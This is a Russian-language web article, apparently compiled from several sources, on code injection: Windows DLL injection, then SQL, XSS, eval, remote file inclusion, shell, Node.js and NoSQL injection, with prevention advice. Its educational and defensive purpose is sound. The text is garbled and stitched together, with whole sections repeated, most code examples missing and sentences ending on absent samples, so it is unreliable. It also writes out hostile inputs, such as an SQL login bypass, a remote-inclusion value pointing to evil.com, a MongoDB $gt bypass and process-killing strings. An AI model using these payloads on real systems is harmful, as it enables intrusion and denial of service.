Что такое инъекция кода
💉 Что такое инъекция кода в Windows
Вставка кода в виде инъекции распространена в Windows.
Приложения «вводят» фрагменты своего кода в другой процесс.
Этот метод может быть хорошим или плохим, но в любом случае это может вызвать проблемы.
Ввод кода часто называют инъекцией DLL, потому что введенный код часто представляет собой файл библиотеки DLL (dynamic link library).
Однако приложения могут внедрять другие типы кода, без связи библиотек DLL и процессов.
Какая инъекция кода используется для чего
Ввод кода используется для выполнения всех видов трюков и функциональных возможностей в Windows.
Хотя легитивные программы также используют его, он также используется вредоносными программами. Например:
Является ли инъекция кода плохой практикой?
Этот метод постоянно используется в самых разных приложениях в Windows.
Это единственный реальный способ выполнить множество задач. В отличии Apple iOS или Android от Google, рабочий стол Windows настолько мощный, что он предлагает такую гибкость для разработчиков.
Конечно, со всей этой мощностью возникает определенная опасность.
Ввод кода может вызвать проблемы и ошибки в приложениях.
Google говорит, что пользователи Windows, использующие браузер Chrome, на 15% чаще сталкиваются с сбоями Chrome, поэтому Google работает над блокировкой этого момента.
Microsoft отмечает, что инъекция кода может использоваться вредоносными приложениями для вмешательства в настройки браузера, которые уже заблокированы в Edge.
Сторонние библиотеки DLL загружаются в Microsoft Outlook, поэтому они вызывают так много сбоев Outlook.
Другими словами, инъекция кода – это своего рода грязный хак.
В идеальном мире существовал бы безопасный способ достижения определенных целей, без ввода кода, который не вызвал бы потенциальную нестабильность.
Тем не менее, инъекция кода сегодня является обычной частью платформы приложений Windows.
Это так или иначе происходит в фоновом режиме на вашем ПК с ОС Windows.
Мы могли бы назвать это необходимым злом. Мы оставляем эти риски за собой.
Как проверить внедренные DLL-файлы
Вы можете проверить внедрение кода в своей системе с помощью приложения Process Explorer от Microsoft.
Это в основном расширенная версия диспетчера задач, разработанная с некоторыми дополнительными функциями.
Загрузите Process Explorer.
Нажмите View > Lower Pane View > DLLs или нажмите Ctrl + D.
Выберите процесс в верхней панели и посмотрите внизу загруженные DLL.
Столбец «Company name» предоставляет полезный способ фильтрации этого списка.
Например, это совершенно нормально видеть множество DLL, созданных корпорацией Microsoft,поскольку они являются частью Windows.
Также нормально видеть библиотеки DLL, сделанные той же компанией, что и рассматриваемый процесс, – «Google Inc.» в случае Chrome на скриншоте ниже.
Поэтому мы можем найти несколько DLL-файлов, сделанных «AVAST Software».
Это антивирусное программное обеспечение avast в нашей системе вводит в Chrome код, для работы библиотеки фильтров блокировки Avast Script.
Теперь вы можете произвести анализ своих процессов.
К примеру, если ваш браузер Chrome иногда выдает сбои, вы можете проверить его на внедренные сомнительные DLL и удалить их.
Что такое инъекция кода в Windows
И нъекция кода распространена в Windows. Приложения «вводят» фрагменты своего собственного кода в другой запущенный процесс, чтобы изменить его поведение. Этот метод можно использовать для добра или зла, но в любом случае это может вызвать проблемы.
Инъекция кода также обычно называется инъекцией DLL, потому что введенный код часто представляет собой файл библиотеки DLL (динамической библиотеки ссылок). Тем не менее, приложения также могут вводить другие типы кода, которые не являются DLL.
Для чего используется инъекция кода
Внедрение кода используется для выполнения всевозможных трюков и функций в Windows. Данная возможность используется как хорошими так и вредоносными программами. Например:
Является ли инъекция кода плохой
Этот метод постоянно используется широким спектром приложений в Windows. Это единственный реальный способ выполнить множество задач. По сравнению с современной мобильной платформой, такой как iOS от Apple или Android от Google, Windows более мощная ОС, которая предлагает такую гибкость разработчикам.
Конечно, со всей этой силой возникает определенная опасность. Инъекция кода может вызвать проблемы и ошибки в приложениях. Google говорит, что пользователи Windows, у которых есть код, внедренный в браузер Chrome, на 15% чаще подвержены сбоям Chrome, поэтому Google работает над блокировкой этого. Корпорация Майкрософт отмечает, что вредоносное приложение может использовать инъекции кода для вмешательства в настройки браузера, что является одной из причин, по которым он уже заблокирован в Edge.
Microsoft даже предоставляет инструкции по проверке загруженных сторонних DLL в Microsoft Outlook, поскольку они вызывают много сбоев Outlook.
Как проверить внедренные DLL-файлы
Вы можете проверить внедрение кода в своей системе с помощью мощного приложения Process Explorer от Microsoft. Это в основном расширенная версия диспетчера задач, дополненная функциями.
Загрузите и запустите Process Explorer. Нажмите View > Lower Pane View > DLLs или нажмите Ctrl + D.
Выберите процесс в верхней панели и посмотрите в нижнюю панель, чтобы увидеть загруженные DLL. Столбец «Company Name» предоставляет полезный способ фильтрации этого списка.
Например, это нормально видеть множество DLL, созданных корпорацией Microsoft, здесь, поскольку они являются частью Windows. Также нормально видеть библиотеки DLL, сделанные той же компанией, что и рассматриваемый процесс, — «Google Inc.» в случае Chrome на скриншоте ниже.
Вы не так много можете сделать, если найдете в Вашей системе инъекцию кода, кроме удаления программы, внедряющей код, чтобы предотвратить возникновение проблем. Например, если Chrome аварийно завершает работу, Вы можете посмотреть, есть ли какие-либо программы, внедряющие код в Chrome, и удалите их, чтобы предотвратить их вмешательство в процессы Chrome.
Как работает инъекция кода
Инъекция кода не изменяет основное приложение на Вашем диске. Вместо этого он ожидает, что это приложение будет запущено, и оно добавит дополнительный код в этот запущенный процесс, чтобы изменить его функционирование.
Windows включает в себя множество интерфейсов прикладного программирования (API), которые можно использовать для внедрения кода. Процесс может присоединяться к целевому процессу, распределять память, записывать DLL или другой код в эту память, а затем инструктировать целевой процесс для выполнения кода. Windows не запрещает процессам на вашем компьютере мешать друг другу.
Для получения дополнительной технической информации ознакомьтесь с этим сообщением в блоге, в котором объясняется, как разработчики могут внедрять библиотеки DLL, а также смотреть на другие типы инъекций кода в Windows.
В некоторых случаях кто-то может изменить базовый код на диске, например, заменив DLL-файл, который поставляется с ПК-игрой с измененным, чтобы включить обман или пиратство. Это технически не «инъекция кода». Код не вводится в запущенный процесс, но программа вместо этого обманывается при загрузке другой DLL с тем же именем.
Некоторые типы внедрения кода являются ошибками в интерпретации, придающими особое значение пользовательскому вводу. Подобные ошибки интерпретации существуют и за пределами мира информатики, например, в комедийных сериалах « Кто на первом месте?». . В рутине не удается отличить имена собственные от обычных слов. Точно так же при некоторых типах внедрения кода не удается отличить ввод пользователя от системных команд.
Методы внедрения кода популярны при взломе системы или взломе с целью получения информации, повышения привилегий или несанкционированного доступа к системе. Внедрение кода может использоваться злонамеренно для многих целей, в том числе:
В 2008 г. 5,66% всех уязвимостей, обнаруженных в этом году, были классифицированы как внедрение кода, что является самым высоким показателем за всю историю наблюдений. В 2015 году этот показатель снизился до 0,77%.
СОДЕРЖАНИЕ
Доброкачественное и непреднамеренное использование
Внедрение кода может использоваться с добрыми намерениями; например, изменение или настройка поведения программы или системы посредством внедрения кода может привести к тому, что система будет вести себя определенным образом без какого-либо злонамеренного намерения. Внедрение кода может, например:
Некоторые пользователи могут ничего не подозревать о внедрении кода, потому что вводимые ими в программу данные не были учтены теми, кто изначально разработал систему. Например:
Предотвращение проблем
Чтобы предотвратить проблемы с внедрением кода, используйте безопасную обработку ввода и вывода, например:
Перечисленные выше решения в основном связаны с веб-инъекцией HTML или кода сценария в серверное приложение. Однако при внедрении пользовательского кода на пользовательский компьютер необходимо использовать другие подходы, что приводит к атакам с повышением привилегий. Вот некоторые подходы, которые используются для обнаружения и изолирования инъекций управляемого и неуправляемого кода:
Примеры
SQL-инъекция
SQL-инъекция использует синтаксис SQL для ввода команд, которые могут читать или изменять базу данных или нарушать смысл исходного запроса.
Например, рассмотрим веб-страницу с двумя полями, позволяющими пользователям вводить имя пользователя и пароль. Код за страницей сгенерирует SQL- запрос для проверки пароля по списку имен пользователей:
Если этот запрос возвращает какие-либо строки, доступ предоставляется. Однако, если злоумышленник вводит действительное имя пользователя и вводит действительный код ( password’ OR ‘1’=’1 ) в поле «Пароль», то результирующий запрос будет выглядеть следующим образом:
Методика может быть усовершенствована, чтобы позволить запускать несколько операторов или даже загружать и запускать внешние программы.
Предположим, что запрос имеет следующий формат:
Если злоумышленник имеет следующие входные данные:
запрос будет проанализирован следующим образом:
Межсайтовый скриптинг
Однако злоумышленник может знать об уязвимости внедрения кода в гостевой книге и вводит такое сообщение, как:
Если другой пользователь просматривает страницу, внедренный код будет выполнен. Этот код может позволить злоумышленнику выдать себя за другого пользователя. Однако такая же программная ошибка может быть случайно вызвана непритязательным пользователем, что приведет к отображению на веб-сайте плохого HTML-кода.
Многие из этих проблем связаны с ошибочными предположениями о том, какие входные данные возможны, или с влиянием специальных данных.
Уязвимости динамической оценки
Уязвимость внедрения возникает, когда злоумышленник может контролировать всю или часть входной строки, которая передается в вызов функции. eval () eval ()
Внедрение объекта
Удаленная инъекция файла
Рассмотрим эту программу PHP (которая включает файл, указанный в запросе):
Пример может быть прочитан как только цветные файлы blue.php и red.php может быть загружен, в то время как злоумышленники могут обеспечить COLOR=http://evil.com/exploit загрузку внешнего файла PHP.
Внедрение спецификатора формата
Инъекция в оболочку
В passthru приведенном выше примере составляет команду оболочки, которая затем выполняется веб-сервером. Поскольку часть составляемой команды берется из URL-адреса, предоставленного веб-браузером, это позволяет URL-адресу вводить вредоносные команды оболочки. Можно внедрить код в эту программу несколькими способами, используя синтаксис различных функций оболочки (этот список не является исчерпывающим):
/.bashrc
Некоторые языки предлагают функции для правильного экранирования или заключения в кавычки строк, которые используются для создания команд оболочки:
Тем не менее, это по-прежнему обременяет программистов знать / изучать эти функции и не забывать использовать их каждый раз, когда они используют команды оболочки. В дополнение к использованию этих функций также рекомендуется проверка или дезинфекция пользовательского ввода.
Интерпретируемые языки программирования породили одну из самых интересных и популярных уязвимостей — инъекцию кода.
Существует достаточно много платформ, позволяющих запускать код на лету, и JavaScript (Node.js) не является среди них исключением. Фактически, злоумышленнику надо лишь обнаружить возможность ввода текста, который интерпретируется приложением, как исполняемый код.
Эксплуатируя такую возможность, ввод строки типа while(1) или process.kill(process.pid) может моментально отправить программу в отказ (Denial of Service/DoS).
Но как выходит так, что передаваемый текст на сервере исполняется, как будто это код? Взгляните на изображение ниже (возможно вы не знали о таких возможностях JavaScript):
Я знаю, у вас возникает сразу вопрос: кто будет в реальном приложении передавать callback строкой или использовать всем известный злобный eval()? Да, все верно, это не такое частое явление.
Однако, к каким только хитростям не прибегают разработчики, чтобы сделать hotfix. Да и на сколько вы уверены в тех библиотеках, которые используете? Функции семейства eval() часто используется при реализации шаблонизаторов. PayPal, в свое время, использовал javascript-шаблонизатор Dust.js на стороне сервера (библиотека от Linkedin). Какие-нибудь особо смышленые ребята могли воспользоваться функцией eval(), которая вызывалась в ‘if’ helper’е и получить на выходе что-то интересное (например, 10 000$ за найденную уязвимость).
Программисту стоит помнить, что функции eval(), Function(), setTimeout(), setInterval() таят в себе опасность под названием инъекция кода. Кстати, последние две на платформе Node.js не страшны:
Но это до первого monkey patching. Этот вектор атаки, среди прочих инъекций кода, получил отдельное название и аббревиатуру— server-side javascript injection (SSJSI).
Доступ к файлам (File System Access)
Отказ в обслуживании (Denial of Service/DoS) не единственное, что может воплотить в жизнь злоумышленник через SSJSI. Будучи знакомым с нюансами фреймворка Express.js, стандартом CommonJS (он, между прочим, используется не только в Node.js, но и, к примеру, в CouchDB), а также немного владея синхронным API модуля fs, можно получить доступ к файлам на сервере:
Или получить доступ к содержимому серверных файлов. Как по мне, это гораздо интереснее. Можно, например, найти какой-нибудь конфигурационный файл AWS-экземпляров, после чего злоумышленник мог бы использовать эти экземпляры в своих гнусных целях, жертва это даже не сразу обнаружит, если вообще обнаружит.
Запуск исполняемых файлов (Execution of Binary Files)
Используя все тот же богатый функционал платформы Node.js, злоумышленник без труда может вызывать внешние скрипты и исполняемые файлы:
SQL and NoSQL Injection
Базы данных это отдельная тема. Любая БД (RDBMS или NoSQL) — это внешняя программа, с которой мы общаемся посредством исполняемых команд. Не важно это язык SQL или нотация JSON, тут все сводится к тому, чтобы верно оборвать оригинальный запрос и сделать инъекцию своей команды. Ахиллесовой пятой подобной схемы коммуникации приложения и БД всегда были параметризованные запросы и их неверная обработка.
Одна из самых популярных SQL-инъекций, это запись значения в параметр с хвостом типа ‘OR 1=1’
В NoSQL тот же принцип, злоумышленнику нужно лишь разобраться с выражениями, которые строятся на основе нотации JSON.
MongoDB (JSON): ввести в поле password cтроку <$gt : "">. В MongoDB это выражение означает “больше чем”. А так как любой пользователь имеет не пустой пароль, то злоумышленнику, эксплуатируя эту инъекцию, достаточно знать лишь логин пользователя.
К слову, видов инъекций, на самом деле, намного больше. SSJSI и SQLi — это то, с чем мы сталкиваемся чаще всего. Но есть и очень много специфичной экзотики, вроде LDAP Injection, XEE Injection, OS Command Injection, XPath Injection, SSI Injection и т.д. На 2017 год инъекция кода по-прежнему в топе списка OWASP и я думаю, что этот тренд будет еще долго сохраняться.
Как я могу предотвратить это?
1Первым пунктом стоит упомянуть о самих фреймворках и библиотеках, многие поставщики предоставляют полезную информацию о том, как именно правильно организовать свое приложение по части безопасности. К примеру, у Express.js на сайте есть очень полезная страничка “Best Practices: Security”.
2В этом нелегком деле могут помочь все те же сканеры уязвимостей. Для SQLi есть очень популярный sqlmap. Metasploit, о котором я упоминал в предыдущей заметке, тоже умеет сканировать приложение на наличие SQLi.
3Используйте директивы, которые устанавливают строгий режим. В JavaScript директива “use strict” накладывает достаточно много ограничений на eval().
4Не выдавать приложению root-права. Да, Node.js является одновременно и сервером приложения, из под sudo можно слушать 80 порт, но не делайте этого на production. Лучше вообще этого не делайте. Руководствуйтесь правилом наименьшая привилегия (Least Privilege). Чтобы свести к минимуму потенциальный урон от успешной инъекционной атаки, не назначайте права доступа DBA или администратора к учетным данным из под которых вы устанавливаете соединения с БД в приложении.
5Валидируйте входные данные. Используйте функции экранирования (escaping) и фильтрация входных данных (sanitizing). Многие библиотеки по работе с БД уже имеют в коробке пару-тройку полезных функций: mysql.escape(), connection.escape(), pool.escape(). Используйте вместо eval() специальные функции парсинга (JSON.parse(), parseInt(), parseFloat()).
6Подготавливайте запросы к БД (prepared statements) и избегайте динамического формирования запросов. Многие инструменты уже оснащены функциями по этой части.
Методы внедрения кода популярны при взломе системы или взломе с целью получения информации, повышения привилегий или несанкционированного доступа к системе. Внедрение кода может использоваться злонамеренно для многих целей, в том числе:
Доброкачественное и непреднамеренное использование
Внедрение кода может использоваться с добрыми намерениями; например, изменение или настройка поведения программы или системы посредством внедрения кода может привести к тому, что система будет вести себя определенным образом без какого-либо злонамеренного намерения. Внедрение кода может, например:
Некоторые пользователи могут ничего не подозревать о внедрении кода, потому что вводимые ими в программу данные не были учтены теми, кто изначально разработал систему. Например:
Предотвращение проблем
Чтобы предотвратить проблемы с внедрением кода, используйте безопасную обработку ввода и вывода, например:
Перечисленные выше решения касаются в основном веб-инъекции кода HTML или сценария в серверное приложение. Однако при внедрении пользовательского кода на пользовательский компьютер необходимо использовать другие подходы, что приводит к атакам с повышением привилегий. Вот некоторые подходы, которые используются для обнаружения и изолирования инъекций управляемого и неуправляемого кода:
Примеры
SQL-инъекция
SQL-инъекция использует синтаксис SQL для ввода команд, которые могут читать или изменять базу данных или нарушать смысл исходного запроса.
Например, рассмотрим веб-страницу с двумя полями, позволяющими пользователям вводить имя пользователя и пароль. Код за страницей сгенерирует SQL- запрос для проверки пароля на соответствие списку имен пользователей:
Если этот запрос возвращает какие-либо строки, доступ предоставляется. Однако, если злонамеренный пользователь вводит действительное имя пользователя и вводит действительный код ( password’ OR ‘1’=’1 ) в поле «Пароль», то результирующий запрос будет выглядеть следующим образом:
Методика может быть усовершенствована, чтобы позволить запускать несколько операторов или даже загружать и запускать внешние программы.
Предположим, что запрос имеет следующий формат:
Если злоумышленник имеет следующие входные данные:
запрос будет проанализирован следующим образом:
Межсайтовый скриптинг
Однако злоумышленник может знать об уязвимости внедрения кода в гостевой книге и вводит такое сообщение, как:
Если другой пользователь просматривает страницу, внедренный код будет выполнен. Этот код может позволить злоумышленнику выдать себя за другого пользователя. Однако такая же программная ошибка может быть случайно вызвана непритязательным пользователем, что приведет к отображению на веб-сайте плохого HTML-кода.
Многие из этих проблем связаны с ошибочными предположениями о том, какие входные данные возможны, или с влиянием специальных данных. [12]
Уязвимости динамической оценки
Уязвимость внедрения возникает, когда злоумышленник может контролировать всю или часть входной строки, которая передается в вызов функции. [13] eval() eval()
Внедрение объекта
Удаленное внедрение файла Уязвимость включения файлов
Рассмотрим эту программу PHP (которая включает файл, указанный в запросе):
Пример может быть прочитан только как цветные файлы blue.php и red.php может быть загружен, в то время как злоумышленники могут обеспечить COLOR=http://evil.com/exploit загрузку внешнего файла PHP.
Внедрение спецификатора формата неконтролируемая строка формата
Внедрение оболочки
В passthru приведенном выше примере составляет команду оболочки, которая затем выполняется веб-сервером. Поскольку часть составляемой команды берется из URL-адреса, предоставленного веб-браузером, это позволяет URL-адресу вводить вредоносные команды оболочки. Можно внедрить код в эту программу несколькими способами, используя синтаксис различных функций оболочки (этот список не является исчерпывающим):
/.bashrc
Некоторые языки предлагают функции для правильного экранирования или заключения в кавычки строк, которые используются для создания команд оболочки:
Тем не менее, это по-прежнему обременяет программистов знать / изучать эти функции и не забывать использовать их каждый раз, когда они используют команды оболочки. В дополнение к использованию этих функций также рекомендуется проверка или дезинфекция вводимых пользователем данных.
См. также
На этом все! Теперь вы знаете все про javascript инъекция, Помните, что это теперь будет проще использовать на практике. Надеюсь, что теперь ты понял что такое javascript инъекция,server-side javascript injection,ssjsi,nosql injection,code injection и для чего все это нужно, а если не понял, или есть замечания, то нестесняся пиши или спрашивай в комментариях, с удовольствием отвечу. Для того чтобы глубже понять настоятельно рекомендую изучить всю информацию из категории Вредоносное ПО и защита информации
9 самых популярных типов инъекционных атак на веб-приложения
В первые дни Интернета одним из наиболее распространенных методов атаки был простая метод грубой силы (Brute Force). Данную атаку обычно выполняли боты. Но бывают случаи, когда люди тысяча комбинаций имен пользователей и паролей чтобы найти совпадение, для доступа к учетной записи жертвы.
Атаки грубой силой больше не являются угрозой благодаря политике паролей, ограниченным попыткам входа в систему и капчам. Но киберпреступники любят открывать новые методы и использовать их для выполнения новых типов атак.
Давным-давно они обнаружили, что текстовые поля в приложениях или на веб-страницах можно использовать, вводя в них неожиданный текст, который заставит приложение делать то, что оно не должно было делать. Таким образом, на сцену вышли так называемые инъекционные атаки.
1. Внедрение кода (Code injection)
Внедрение инъекций в текстовые поля является одним из наиболее распространенных типов атак. Если злоумышленники знают язык программирования, структуру, базу данных или операционную систему, используемую веб-приложением, они могут ввести код через поля ввода текста, чтобы заставить веб-сервер делать то, что он хочет.
Эти типы инъекционных атак возможны для приложений, в которых отсутствует проверка входных данных. Чтобы предотвратить эти атаки, приложение должно ограничивать столько, сколько может разрешить входным пользователям.
Например, необходимо ограничить объем ожидаемых данных, проверить формат данных, прежде чем принимать их, и ограничить набор разрешенных символов.
Уязвимости внедрения кода легко найти, просто протестировав ввод текста веб-приложения с различными типами контента. Но когда злоумышленнику удастся использовать одну из этих уязвимостей, это может привести к потере конфиденциальности, целостности, доступности или функциональности приложения.
2. SQL инъекции
В результате злоумышленник может проходить через экран входа в систему или выполнять более опасные действия, такие как чтение конфиденциальных данных непосредственно из базы данных, изменение или уничтожение данных или выполнение операций администратора в базе данных.
3. Командные инъекций
Эти атаки также возможны, в основном из-за недостаточной проверки ввода. Они отличаются от атак внедрения кода тем, что злоумышленник вставляет системные команды вместо фрагментов программного кода или сценариев. Следовательно, хакеру не нужно знать язык программирования, на котором базируется приложение, или язык, используемый базой данных. Но они должны знать операционную систему, используемую хост-сервером.
Вставленные системные команды выполняются операционной системой хоста с привилегиями приложения, которые могут позволить выставлять содержимое произвольных файлов, находящихся на сервере, показывать структуру каталогов сервера, среди прочего, изменять пароли пользователей и многое другое.
Эти атаки могут быть предотвращены системным администратором путем ограничения уровня доступа к системе веб-приложений, работающих на сервере.
4. XSS (межсайтовый скриптинг)
Всякий раз, когда приложение принимает ввод от пользователя, который оно генерирует, не проверяя и не кодируя его, оно дает злоумышленнику возможность отправлять вредоносный код другому конечному пользователю.
Атаки с использованием межсайтовых скриптов (XSS) используют эти возможности для внедрения вредоносных сценариев в надежные веб-сайты, которые в конечном итоге отправляются другим пользователям приложения, которые становятся жертвами злоумышленника.
Браузер жертвы выполнит вредоносный скрипт, не зная, что ему нельзя доверять. Поэтому браузер разрешает ему получать доступ к токенам сеансов, файлам cookie или конфиденциальной информации, хранящейся в браузере. При правильном программировании скриптов могут даже переписать содержимое файла HTML.
5. XPath инъекций
Этот тип атаки возможен, когда веб-приложение использует информацию, предоставленную пользователем, для создания запроса XPath для данных XML. Эта атака работает аналогично SQL-инъекции : злоумышленники отправляют искаженную информацию в приложение, чтобы узнать, как структурированы данные XML, а затем снова атакуют, чтобы получить доступ к этим данным.
В отличие от того, что происходит с SQL, в XPath нет разных версий. Это означает, что внедрение XPath может быть выполнено в любом веб-приложении, использующем данные XML, независимо от реализации. Это также означает, что атака может быть автоматизирована; следовательно, в отличие от SQL-инъекций, он может быть применен к произвольному числу целей.
6. Инъекции почтовых команд
Этот метод атаки может использоваться для эксплуатации почтовых серверов и приложений, которые создают операторы IMAP или SMTP с неправильно проверенным пользовательским вводом.
Иногда серверы IMAP и SMTP не имеют надежной защиты от атак, как это было бы в случае большинства веб-серверов, и, следовательно, могли бы быть более уязвимыми. Входя через почтовый сервер, злоумышленники могут обойти ограничения, такие как капчи, ограниченное количество запросов и т.д.
Чтобы использовать SMTP-сервер, злоумышленникам нужна действующая учетная запись электронной почты для отправки сообщений с введенными командами. Если сервер уязвим, он будет отвечать на запросы злоумышленников, позволяя им, например, переопределить ограничения сервера и использовать свои службы для рассылки спама.
Внедрение IMAP может осуществляться в основном в приложениях веб-почты с использованием функции чтения сообщений. В этих случаях атаку можно выполнить, просто введя в адресной строке веб-браузера URL-адрес с введенными командами.
7. CRLF инъекции
Например, вставка CRLF в HTTP-запрос с последующим определенным HTML-кодом может отправлять пользовательские веб-страницы посетителям веб-сайта.
Эта атака может быть выполнена для уязвимых веб-приложений, которые не применяют надлежащую фильтрацию к пользовательскому вводу. Эта уязвимость открывает двери для других типов атак с использованием инъекций, таких как XSS и внедрение кода, а также может происходить на взломанном веб-сайте.
8. Инъекция заголовка узла
На серверах, на которых размещено множество веб-сайтов или веб-приложений, заголовок узла становится необходимым для определения того, какой из веб-сайтов или веб-приложений надлежит запросу, каждое из которых известно как виртуальный хост, должен обрабатывать входящий запрос.
Значение заголовка сообщает серверу, на какой виртуальный хост отправлять запрос. Когда сервер получает неверный заголовок узла, он обычно передает его первому виртуальному узлу в списке. Это представляет собой уязвимость, которую злоумышленники могут использовать для отправки произвольных заголовков узлов первому виртуальному узлу на сервере.
Манипуляции с заголовком узла обычно связаны с приложениями PHP, хотя это также может быть сделано с помощью других технологий веб-разработки. Его последствия могут включать выполнение чувствительных операций злоумышленниками, например, сброс пароля и т.д.
9. Инъекция LDAP
Запросы LDAP включают использование специальных управляющих символов, которые влияют на его управление. Злоумышленники могут потенциально изменить предполагаемое поведение запроса LDAP, если они могут вставить в него управляющие символы.
Опять же, основной проблемой, которая допускает атаки с использованием LDAP, является неправильно проверенный пользовательский ввод. Если текст, отправляемый пользователем в приложение, используется как часть запроса LDAP без его очистки, запрос может закончиться получением списка всех пользователей и его отображением злоумышленнику, просто используя звездочку (*) справа поместите внутрь входной строки.
Предотвращение инъекционных атак
Как мы видели в этой статье, все инъекционные атаки направлены на серверы и приложения с открытым доступом для любого пользователя Интернета. Ответственность за предотвращение этих атак распределяется между разработчиками приложений и администраторами серверов.
Большинство атак допускаются на серверах с языком программирования PHP и если вы хотите защитить свое php приложение то, прочитайте о 6 советов по безопасности для защиты вашего PHP сайта.
Разработчики приложений должны знать риски, связанные с неправильной проверкой пользовательского ввода, и изучать лучшие практики для очистки пользовательского ввода в целях предотвращения рисков.
Администраторы серверов должны периодически проверять свои системы, чтобы обнаруживать уязвимости и исправлять их как можно скорее. Существует много вариантов выполнения этих аудитов, как по запросу, так и автоматически.
- Что такое инъекция в программировании
- Что такое иные взыскания в пользу физических и юридических лиц